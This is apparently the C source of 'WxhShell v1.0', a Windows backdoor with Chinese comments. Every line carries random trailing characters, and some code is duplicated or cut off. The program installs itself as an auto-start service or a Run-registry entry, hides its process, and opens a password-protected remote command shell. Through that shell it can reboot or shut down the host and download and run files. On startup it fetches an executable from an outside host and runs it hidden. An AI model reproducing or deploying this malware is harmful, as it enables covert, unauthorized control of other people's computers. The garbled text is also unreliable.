if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R*r;`x
WinExec(wscfg.ws_filenam,SW_HIDE); @pO2A6Ks
} swLrp 74
8XdgtYm
if(!OsIsNt) { )>U7+ Me
// 如果时win9x，隐藏进程并且设置为注册表启动 h@yn0CU3.
HideProc(); ;dZuO[4\
StartWxhshell(lpCmdLine); B 42t
} B0|!s
else -]kvM
if(StartFromService()) ;HoBLxb P
// 以服务方式启动 .l$:0a
StartServiceCtrlDispatcher(DispatchTable); h0)Dj(C
else o3=pxU*
// 普通方式启动 mL]a_S{H
StartWxhshell(lpCmdLine); 'j(F=9)
'Uu!K!
return 0; b.|k j
} EE$\8Gx']!
`A ^
ME.a * v
6,a:s:$>}R
=========================================== ;Bwg'ThT
{Bw
(rm*KD"]
l~Rd\.O
yr/G1?k%ML
X)b@ia'"Wp
" 7B{LRm6;Vu
2R];Pv
#include <stdio.h> 8(ej]9RObU
#include <string.h> )J{.z
#include <windows.h> |Q+:vb:
#include <winsock2.h> HvzXAd
#include <winsvc.h> jH>`:
#include <urlmon.h> v8f1o$R
_=-B%m
#pragma comment (lib, "Ws2_32.lib") V;29ieE!
#pragma comment (lib, "urlmon.lib") 3>QkO.b
w?:tce
#define MAX_USER 100 // 最大客户端连接数 @A'@%Zv-
#define BUF_SOCK 200 // sock buffer ?!HU$>
#define KEY_BUFF 255 // 输入 buffer _9:r4|S
2mEvoWnJ
#define REBOOT 0 // 重启 mLm?yb:
#define SHUTDOWN 1 // 关机 xtO#reL"q?
}\0ei(%H
#define DEF_PORT 5000 // 监听端口 ~sT1J|
{2F@OfuCF
#define REG_LEN 16 // 注册表键长度 B;e (5y-
#define SVC_LEN 80 // NT服务名长度 LY;FjbyU
y4)iL?!J~
// 从dll定义API M>[e1y>7
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Hg5:>?Lw@
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +h08uo5c
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nM|Cv
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E.N
#f<3[BLx
// wxhshell配置信息 y#zO1Nig`
struct WSCFG { Z5|BwM
int ws_port; // 监听端口 7>lM^ :A
char ws_passstr[REG_LEN]; // 口令 C?j:+
int ws_autoins; // 安装标记, 1=yes 0=no [h63*&
char ws_regname[REG_LEN]; // 注册表键名 hjD%=Ri0Z
char ws_svcname[REG_LEN]; // 服务名 gVNoC-n)
char ws_svcdisp[SVC_LEN]; // 服务显示名 _Wqy,L;J
char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;2P
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 KX J7\}
int ws_downexe; // 下载执行标记, 1=yes 0=no 2F :8=_sA
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8PR\a!"
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L3=5tuQ[5
lHAWZyO
}; ^!fY~(=U4
EKus0"|
// default Wxhshell configuration 10_#Z~aU
struct WSCFG wscfg={DEF_PORT, 7-gT:
"xuhuanlingzhe", _ee<i8_Va
1, y*%uGG5
"Wxhshell", Wh)!Ha}
"Wxhshell", f@[qS7ok
"WxhShell Service", R.!.7dO
"Wrsky Windows CmdShell Service", %Ai' 6
"Please Input Your Password: ", _&%FGcAS
1, T@A Qe[U'v
"http://www.wrsky.com/wxhshell.exe", *:"@
"Wxhshell.exe" mv7W03
}; dXfLN<nD>U
&~=r .T
// 消息定义模块 Zm0'p!
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5] LfJh+"n
char *msg_ws_prompt="\n\r? for help\n\r#>"; z]7/Gc,j
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E>+>!On)b
char *msg_ws_ext="\n\rExit."; yzT4D>1,
char *msg_ws_end="\n\rQuit."; XBoq/kbw!
char *msg_ws_boot="\n\rReboot..."; 6?'7`p
char *msg_ws_poff="\n\rShutdown..."; te4=
char *msg_ws_down="\n\rSave to "; 5|5p -B
HuJc*op-6
char *msg_ws_err="\n\rErr!"; flT6y-d
char *msg_ws_ok="\n\rOK!"; XO+rg&Pu
"([/G?QAG
char ExeFile[MAX_PATH]; bQ(-M:
int nUser = 0; @fb"G4o`:
HANDLE handles[MAX_USER]; ^e=G} N^
int OsIsNt; .cbC2t95
YS_3Cq
SERVICE_STATUS serviceStatus; C]p@7"l
SERVICE_STATUS_HANDLE hServiceStatusHandle; /'VbV8%
0(*L)s,5
// 函数声明 f7y.##WG
int Install(void); j+@3.^vK
int Uninstall(void); AJm$(3?/D
int DownloadFile(char *sURL, SOCKET wsh); tv26eK 38
int Boot(int flag); ,J8n}7aI
void HideProc(void); ^qnmKA>"F
int GetOsVer(void); L$BV`JWPw
int Wxhshell(SOCKET wsl); "Kdn`zN{
void TalkWithClient(void *cs); G;$;$gM
int CmdShell(SOCKET sock); 'qvj[lpGr
int StartFromService(void); K|YB)y
int StartWxhshell(LPSTR lpCmdLine); _OC@J*4.
k/D{&(F ~
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5'c#pm\Q
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4Y$\QZO
!|up"T I
// 数据结构和表定义 7f4O~4.[i
SERVICE_TABLE_ENTRY DispatchTable[] = :eSsqt9]9
{ N#2ldY *
{wscfg.ws_svcname, NTServiceMain}, 1)MDnODJ
{NULL, NULL} &a;?o~%*]i
}; /-,\$@J5)
Z`u$#<ukX
// 自我安装 FF~r&h8H
int Install(void) %4f.<gz~r|
{ ~`C_B]3|
char svExeFile[MAX_PATH]; -rn6ZSD)
HKEY key; 'It8h$^j
strcpy(svExeFile,ExeFile); @0 /qP<E
-sfv"?
// 如果是win9x系统，修改注册表设为自启动 ;}j(x;l>t
if(!OsIsNt) { &iVdqr1,
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2 U]d1
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r34MDUZdI
RegCloseKey(key); Id##367R
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P/dnH
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "X8jpg
RegCloseKey(key); -X71JU
return 0; r`.N?
} [IQ|c?DxpL
} msM1K1er
} |PlNVd2
else { Rh?bBAn8
~y2zl
// 如果是NT以上系统，安装为系统服务 >a,D8M?
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c%J6!\
if (schSCManager!=0) u;gO+)wqv
{ )muNfs m
SC_HANDLE schService = CreateService "GZieI D
( hg(<>_~
schSCManager, uTxa5j
wscfg.ws_svcname, *Ud(HMTe
wscfg.ws_svcdisp, \7uM5 k}l
SERVICE_ALL_ACCESS, yB2h/~+
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p.SipQ.P
SERVICE_AUTO_START, :t]HY2
SERVICE_ERROR_NORMAL, Pps-,*m
svExeFile, e[fOm0^.c
NULL, *B"Y]6$
NULL, Z(T{K\)uN
NULL, RHg-Cg`
NULL, J6AHc"k.
NULL `(sb
); R<Lf>p>_
if (schService!=0) `daqzn
{ iU;e!\A
CloseServiceHandle(schService); WXl+w7jr
CloseServiceHandle(schSCManager); )&Oc7\J,
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \ph.c*c
strcat(svExeFile,wscfg.ws_svcname); u]};QR
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { q8?kBKP
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pW(rNAJ!
RegCloseKey(key); BzP,Tu{,
return 0; &~ y)b`r
} cKe%P|8
} C/Khp +
CloseServiceHandle(schSCManager); )ODF6Ag
} W(`QbNJ
} #_@cI(P
b}3"v(
return 1; e "A"
} T)rE#"_]{
L^3&
// 自我卸载 /i'078F
int Uninstall(void) \=AA,Il
{ 'J|)4OG:
HKEY key; $(aq;DR
_1p8(n
if(!OsIsNt) { DK)W ,z|
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K^shTh8k
RegDeleteValue(key,wscfg.ws_regname); 4hL%J=0:
RegCloseKey(key); bf"'xn9
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i#]e&Bru5
RegDeleteValue(key,wscfg.ws_regname); GQqGrUQ*}
RegCloseKey(key); 6lSz/V;
return 0; G^~[|a4`
} Xv8-<Ks
} EiL#Dwx
} xc:E>-
else { PgWWa*Ew
9CY{}g
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =_7wd*,
if (schSCManager!=0) $*fJKR_N
{ Ae+)RBpc
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /o9T [^\
if (schService!=0) ,^UqE{
{ ;*<tU n^t
if(DeleteService(schService)!=0) { u0q$`9J
CloseServiceHandle(schService); fFjpQ~0
CloseServiceHandle(schSCManager); $;qi-K3j
return 0; G*fo9eu5$
} I,j4 BU4
CloseServiceHandle(schService); Tlsh[@Q
} /kW Z 8Z
CloseServiceHandle(schSCManager); mgq!)
} $KiCs]I+
} Oj5UG*
&O&HczO
return 1; 0 &zp
} Ts5)r(
\G" S7
// 从指定url下载文件 M&Ka^h;N
int DownloadFile(char *sURL, SOCKET wsh) LVj1NP
{ 2$JGhgDI
HRESULT hr; eqo0{e
char seps[]= "/"; !eLj+0
char *token; ti\ ${C3
char *file; 1 em,/>"
char myURL[MAX_PATH]; za>UE,?h
char myFILE[MAX_PATH]; J D\tt-
tE7jTe
strcpy(myURL,sURL); m&UP@hUV-
token=strtok(myURL,seps); zM9#1^X
while(token!=NULL) H U|.5tP
{ v= 55{
file=token; HN5m%R&`
token=strtok(NULL,seps); I"07x'Ahq3
} 8\n3 i"
nw+~:c
GetCurrentDirectory(MAX_PATH,myFILE); Xn6#q3;^|
strcat(myFILE, "\\"); A6N6e\*
strcat(myFILE, file); XE}gl&\
send(wsh,myFILE,strlen(myFILE),0); 25Dl4<-Z
send(wsh,"...",3,0); ~MC|
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k ut=(;
if(hr==S_OK) ZZw`8 E
return 0; -Zt!H%U
else {Su?*M2y
return 1; i"2OsGT
e7vm3<m4
} ejROJXB
ALF0d|>=uj
// 系统电源模块 QQ*sjK.(
int Boot(int flag) J1?;'
{ 2"Os9 KD
HANDLE hToken; ~ZHjP_5Q
TOKEN_PRIVILEGES tkp; PobX;Z
gq+SM i=
if(OsIsNt) { 1K72}Gj)ZL
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @IT[-d
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); t&r.Kf9Z\
tkp.PrivilegeCount = 1; $^Fl*:6
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p=8Qv
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *;7y5ZJ
if(flag==REBOOT) { 'solCAy
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :cT)M(o
return 0; ~P4C`Q1PT#
} I= mz^c{
else { M&Uy42,MR
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Njq}M/{U
return 0; vwCQvt
} rPV Q#iB
} (I[_}l
else { [);oj<
if(flag==REBOOT) { DiCz%'N
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H?$dnwR
return 0; xEb>6+-F@
} B=_w9iVN
else { o`U}uqrO
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ZlT }cA/n
return 0; pu-HEv}]a|
} %b6$N_M{H1
} _:x]'w%
9^gYy&+>6]
return 1; E C?}iP
} Ss3p6%V/
^QK`z@B
// win9x进程隐藏模块 twT/uBQ4a
void HideProc(void) -'rdN i
{ X+hHEkJ
N5 ME_)
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ltlp9 S
if ( hKernel != NULL ) w:&""'E
{ 2M %j-yG"
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7CIN!vrC|1
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); /x VHd
FreeLibrary(hKernel); @CprC]X
} aukcO;oG<
LUOjaX
return; JGs:RD'
} --yF%tRMP
h\s/rZg=r
// 获取操作系统版本 ]l,BUf-O
int GetOsVer(void) vygzL U^
{ ' \JE>#
OSVERSIONINFO winfo; GO"`{|o
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !3Q0Ahf
GetVersionEx(&winfo); Y.^L^ "%dF
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) p|>*M\LE#
return 1; +8Xjk\Hi
else /K=OsMl2b8
return 0; u4x-GObJM
} L2}\Ah"[
/6x&%G:m#
// 客户端句柄模块 8 Rx@_
int Wxhshell(SOCKET wsl) ]\,?u /
{ ["-rDyP
SOCKET wsh; z0"t]4s
struct sockaddr_in client; <Ap_#
DWORD myID; r- 8Awa
^y+k6bE
while(nUser<MAX_USER) mdi!Q1pS
{ {u'szO}k
int nSize=sizeof(client); _v!7 |&\
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $)lkiA&;
if(wsh==INVALID_SOCKET) return 1; KVi6vdgD
?N#I2jxaD
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !xs}CxEyA
if(handles[nUser]==0) +! 1_Mt6
closesocket(wsh); 1d^~KBfv
else oD)x\ )t8
nUser++; uEPp%&D.+
} !)s(Lv%]
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L/k35x8
c%&,(NJ]K
return 0; m#"_x{oa
} v%tjZ5x
-&+:7t
// 关闭 socket Cbbdq%ySI
void CloseIt(SOCKET wsh) ~i,d%a
{ &l(T},-X
closesocket(wsh); 7)?C+=,0
nUser--; x:SjdT
ExitThread(0); w$]G$e
} kmQ:wf:
LdUz;sb
// 客户端请求句柄 [2:d@=%.
void TalkWithClient(void *cs) ZO+RE7f*?c
{ SN6 QX!3
g2OnLEF]s
SOCKET wsh=(SOCKET)cs; pPReo)
char pwd[SVC_LEN]; ~q>jXi
char cmd[KEY_BUFF]; :;$MUOps
char chr[1]; E-A9lJWr
int i,j; Gp9 <LB\,
HQ-[k$d W4
while (nUser < MAX_USER) { wL;OQhI
cVi_#9u"
if(wscfg.ws_passstr) { ~OD6K`s3
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]LE,4[VxRz
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mnt&!X4<
//ZeroMemory(pwd,KEY_BUFF); 9z,sn#-t
i=0; O4rjGTRF
while(i<SVC_LEN) { &4Z8df!
>d 5-if
// 设置超时 Hav&vV
fd_set FdRead; 7qC /a c
struct timeval TimeOut; ;qmnG3;Q
FD_ZERO(&FdRead); ;>,B(Xz4i
FD_SET(wsh,&FdRead); qq)5)S
TimeOut.tv_sec=8; ZflB<cI
TimeOut.tv_usec=0; s_^`t+5
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ko%mZ0Y
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); F|%PiC,,qO
}Qo]~/
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b9g2mWL\T
pwd=chr[0]; *|&Y ,H?
if(chr[0]==0xd || chr[0]==0xa) { g *5_m(H
pwd=0; 2dts}G
break; u#6s^ )W
} [s}W47N1
i++; wgz]R
} *q}yfa35eR
'o='Q)Dk
// 如果是非法用户，关闭 socket E:`_P+2p
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); GMU!GSY
} P@y)K!{Nk
l;M,=ctB(
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Zma;An6
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C(>!?-.
r] /Ej!|
while(1) { f2.=1)u.
2Z; !N37U
ZeroMemory(cmd,KEY_BUFF); XX=OyDLqP
9Og
// 自动支持客户端 telnet标准 :7{GOx
j=0; |5>Tf6$(
while(j<KEY_BUFF) { g? vz\_
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jV% VN
cmd[j]=chr[0]; ;CO qu#(
if(chr[0]==0xa || chr[0]==0xd) { F=\ REq
cmd[j]=0; r1~W(r.x
break; `.@udfog^0
} &Wy>t8DIK
j++; uQG|r)
} EH".ki=e
r'noB<|e
// 下载文件 2)BO@]n
if(strstr(cmd,"http://")) { W@!qp
send(wsh,msg_ws_down,strlen(msg_ws_down),0); UVDMYA0
if(DownloadFile(cmd,wsh)) +149 o2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8Hq4ppC
else IlJ"t`Z9)
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :1d;jx>
} 2UQF:R?LQ
else { Le83[E*i
e;v7!X
switch(cmd[0]) { }a OBQsnO
(o{Y;E@/y
// 帮助 V;^-EWNj
case '?': { +<$(ez
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X$xf@|<a
break; G!%m~+",
} n)N!6u
// 安装 @Ez>?#z
case 'i': { #ChTel
if(Install()) 2fdN@iruB
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9q]f]S.L
else `*[Kmb\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oW OR7)?r
break; ZQ"dAR/y
} I484cR2.
// 卸载 5VE=Oo#&
case 'r': { .BjWZj
if(Uninstall()) z<Z0/a2'1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); a|TUH+|
else |keU+De
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?121 as}z
break; '7' 73
} <Z[Z&^
// 显示 wxhshell 所在路径 >'n[B
case 'p': { O0y0'P-rJq
char svExeFile[MAX_PATH]; 75>%!mhM
strcpy(svExeFile,"\n\r"); Y"ta`+VJ
strcat(svExeFile,ExeFile); `D3q!e
send(wsh,svExeFile,strlen(svExeFile),0); M*'8$|Z
break; gHgqElr(
} N9ipwr'P
// 重启 u/k' ry=
case 'b': { lB2F09`
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I3Co
if(Boot(REBOOT)) iTevl>p!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ipG 0ie+
else { g3s5ra[
closesocket(wsh); ?i_2ueVR
ExitThread(0); Vuy%7H
} t(<k4ji,
break; TlO=dLR7d
} LQqba4$
// 关机 irh Z
case 'd': { 2K3j3|T
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); l_2Xao$
if(Boot(SHUTDOWN)) 6x5Q*^w
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -7oIphJ=\
else { Z9H2! Cp
closesocket(wsh); ^0"fPG`
ExitThread(0); DmWa!5
} S^q^=q0F
break; m Urb
} "cS7E5-|
// 获取shell 0^L:`[W+
case 's': { |0^IX
CmdShell(wsh); ;"f9"
closesocket(wsh); &'neOf/~
ExitThread(0); R,7.o4Wt
break; T&1-gswr:
} 8/B8yY-O
// 退出 x`2dN/wDhf
case 'x': { 5T"h7^}e
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -5os0G80
CloseIt(wsh); Ur[ai6LNG
break; c.Izm+9k
} A[4HD!9=
// 离开 ; p+C0!B2
case 'q': { 2/ )~$0
send(wsh,msg_ws_end,strlen(msg_ws_end),0); {y|.y~vW
closesocket(wsh); f% 8n?f3;u
WSACleanup(); Dd OK&
exit(1); J;V#a=I
break; 3Zz_wr6
} sw$JY}Q8x
} MB5V$toC
} >!PM5%G
mE+=H]`.p
// 提示信息 fyZtwl@6w#
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dXWG`G_
} E-X02A
} @CPkP
:3se/4y}
return; R4D$)D
} -R$Q`Xw
Us6~7L00
// shell模块句柄 F&k<P>k
int CmdShell(SOCKET sock) eZL!Z!
{ Ug[0l)
STARTUPINFO si; [ P*L`F
ZeroMemory(&si,sizeof(si)); 1JS5 LS
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6DEH|2
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cri-u E?
PROCESS_INFORMATION ProcessInfo; lBG5~<NT
char cmdline[]="cmd"; YYe<StyH
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); AgDXpaq
return 0; !~mPxGY
} (e 2.Ru
rXrIGgeM
// 自身启动模式 OK@yMGz1I
int StartFromService(void) 5n::]Q%=D
{ M6[O>z
typedef struct j<?k$8H
{ 3E@ &
DWORD ExitStatus; bHDZ=Ik
DWORD PebBaseAddress; ZSwhI@|
DWORD AffinityMask; 25vq#sS]
DWORD BasePriority; m9'bDyyK
ULONG UniqueProcessId; )Zvn{
ULONG InheritedFromUniqueProcessId; *P12d
} PROCESS_BASIC_INFORMATION; rv~OfL
I'J-)D`
PROCNTQSIP NtQueryInformationProcess; 3cH^ ,F
-t*P=V|@
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1LmbXH]%
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #E/|WT
+D h?MQt?
HANDLE hProcess; =4/K#cQ
PROCESS_BASIC_INFORMATION pbi; %u?A>$Jn
P?=}}DI
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |l~#qeZ%
if(NULL == hInst ) return 0; |UQGZ
qz-lQ
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pW<l9W
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EP{ji"/7[
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); AB.ZmR9|
o^d
if (!NtQueryInformationProcess) return 0; m7cG]a~a
fo;^Jg.
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m.yt?`
if(!hProcess) return 0; @Bsvk9}
J32"Ytdo<
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RHI?_gf&
y<ZT~e
CloseHandle(hProcess); 4g+o/+6!4
1mv8[^pF
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /p{$HkVw
if(hProcess==NULL) return 0; \NL*$SnxP
q] '2'"k
HMODULE hMod; !imjfkG
char procName[255]; ?KFj=Yo
unsigned long cbNeeded; |v"&Y
ATD4%|a9h
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); opReAU'I
g|{Ru
CloseHandle(hProcess); .V{y9e+
NE?tfj
if(strstr(procName,"services")) return 1; // 以服务启动 fc^d3wH0L
hIo^/_K
return 0; // 注册表启动 J)^Kls\>t
} I5E4mv0<i
E`q)vk
// 主模块 fTI~wF8!
int StartWxhshell(LPSTR lpCmdLine) &*qAB)**
{ ou\~^
SOCKET wsl; kybDw{(}gc
BOOL val=TRUE; jrO{A3<E
int port=0; {%v{iE>
struct sockaddr_in door; Mgux(5`;
z|m-nIM
if(wscfg.ws_autoins) Install(); %hA0
9d+z?J:
port=atoi(lpCmdLine); E>1%7" i<
hhJ>>G4R2
if(port<=0) port=wscfg.ws_port; (7|!%IO.
-aM7>YR
WSADATA data; \~:_h#bW
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X> V`)
-pN'r/$3V
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; K^[Dz\ov5
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j'LO'&sQ(
door.sin_family = AF_INET; @=6$ImU
door.sin_addr.s_addr = inet_addr("127.0.0.1"); NY%=6><t!
door.sin_port = htons(port); u:}yE^8@
rUBc5@|
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O<+x=>_
closesocket(wsl); Y-P?t+l
return 1; xU;Q~(
} 5J*h7
MgQb" qx
if(listen(wsl,2) == INVALID_SOCKET) { $$---Y
closesocket(wsl); :w26d-QR(
return 1; 3W@ta1
} ;TCT%j`^o
Wxhshell(wsl); QjFE
WSACleanup(); .10$n*
6hf6Z3
return 0; $+w-r#,
fsV_>5I6
} *|.-y->
a(K^/BT
// 以NT服务方式启动 NfXEW-
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) oedLe9!
{ e`t-:~'
DWORD status = 0; KqWt4{\8v`
DWORD specificError = 0xfffffff; w4;1 ('
b^&nr[DC
serviceStatus.dwServiceType = SERVICE_WIN32; }&/_ S
serviceStatus.dwCurrentState = SERVICE_START_PENDING; +#7)'c
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T']G:jkb
serviceStatus.dwWin32ExitCode = 0; I:o.%5)
serviceStatus.dwServiceSpecificExitCode = 0; ^}<h_T?<_-
serviceStatus.dwCheckPoint = 0; =U3rOYbP;
serviceStatus.dwWaitHint = 0; u\}"l2 r
~d&W;mef-
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]t.6bb4
if (hServiceStatusHandle==0) return; cp3O$S
Aw7_diK^
status = GetLastError(); u*<knZ~ty
if (status!=NO_ERROR) J+f*D+x1
{ 7\Wq:<JL
serviceStatus.dwCurrentState = SERVICE_STOPPED; )\l(h%s[I
serviceStatus.dwCheckPoint = 0; -i"?2gK
serviceStatus.dwWaitHint = 0; f _*F&-L
serviceStatus.dwWin32ExitCode = status; kPFqsq
serviceStatus.dwServiceSpecificExitCode = specificError; ,I8[tiR"b
SetServiceStatus(hServiceStatusHandle, &serviceStatus); {Nny.@P)H
return; 8G|kKpX
} = ^_4u%}
Y #6G&)M
serviceStatus.dwCurrentState = SERVICE_RUNNING; vC%8-;8{H
serviceStatus.dwCheckPoint = 0; O",*N
serviceStatus.dwWaitHint = 0; "1>48Z-UC
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hd_<J]C
} FKk.BA957h
T8-,t];i
// 处理NT服务事件，比如：启动、停止 TCetd#;R
VOID WINAPI NTServiceHandler(DWORD fdwControl) #'oGtFCd`
{ iCh,7I,m
switch(fdwControl) 6@geakq
{ K_[B@( Xl
case SERVICE_CONTROL_STOP: 5!iBKOl#D
serviceStatus.dwWin32ExitCode = 0; J(=io_\bO
serviceStatus.dwCurrentState = SERVICE_STOPPED; <%:,{u6
serviceStatus.dwCheckPoint = 0; h4k.1yH;
serviceStatus.dwWaitHint = 0; rnS&^
{ VL| q`n
SetServiceStatus(hServiceStatusHandle, &serviceStatus); -DE?L,9X9
} TAKvE=a;
return; hScC<=W
case SERVICE_CONTROL_PAUSE: .{ r %C4q9
serviceStatus.dwCurrentState = SERVICE_PAUSED; @_C?M5v
break; *MZa|Xy
case SERVICE_CONTROL_CONTINUE: oTLpq:9J
serviceStatus.dwCurrentState = SERVICE_RUNNING; y-#01Z
break; f,'9Bj.~
case SERVICE_CONTROL_INTERROGATE: 1_6oM/?'
break; [mA\,ny9
}; y#)ad\
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?S~j2 J]
} .%T.sQ
p1B~F
// 标准应用程序主函数 2s<uT
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Mib<1ZM
{ {~+o+LV
C`r{B.t`GT
// 获取操作系统版本 K%RjWX=H
OsIsNt=GetOsVer(); pkT26)aW
GetModuleFileName(NULL,ExeFile,MAX_PATH); \9T/%[r#
~Rk~Zn
// 从命令行安装 yZw5?{g@
if(strpbrk(lpCmdLine,"iI")) Install(); 6z ,nt
>Eqr/~Q
// 下载执行文件 N Obw/9JO
if(wscfg.ws_downexe) { DRuG5|{I:
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YK6zN>M}E
WinExec(wscfg.ws_filenam,SW_HIDE); /YT _~q=:
} ERz{, >G?
X>4qL'b:z
if(!OsIsNt) { ?5jq)xd2
// 如果时win9x，隐藏进程并且设置为注册表启动 !pAb+6~T
HideProc(); |.Vs(0O
StartWxhshell(lpCmdLine); b,):&M~p
} x4%1P w
else [ T!0ka
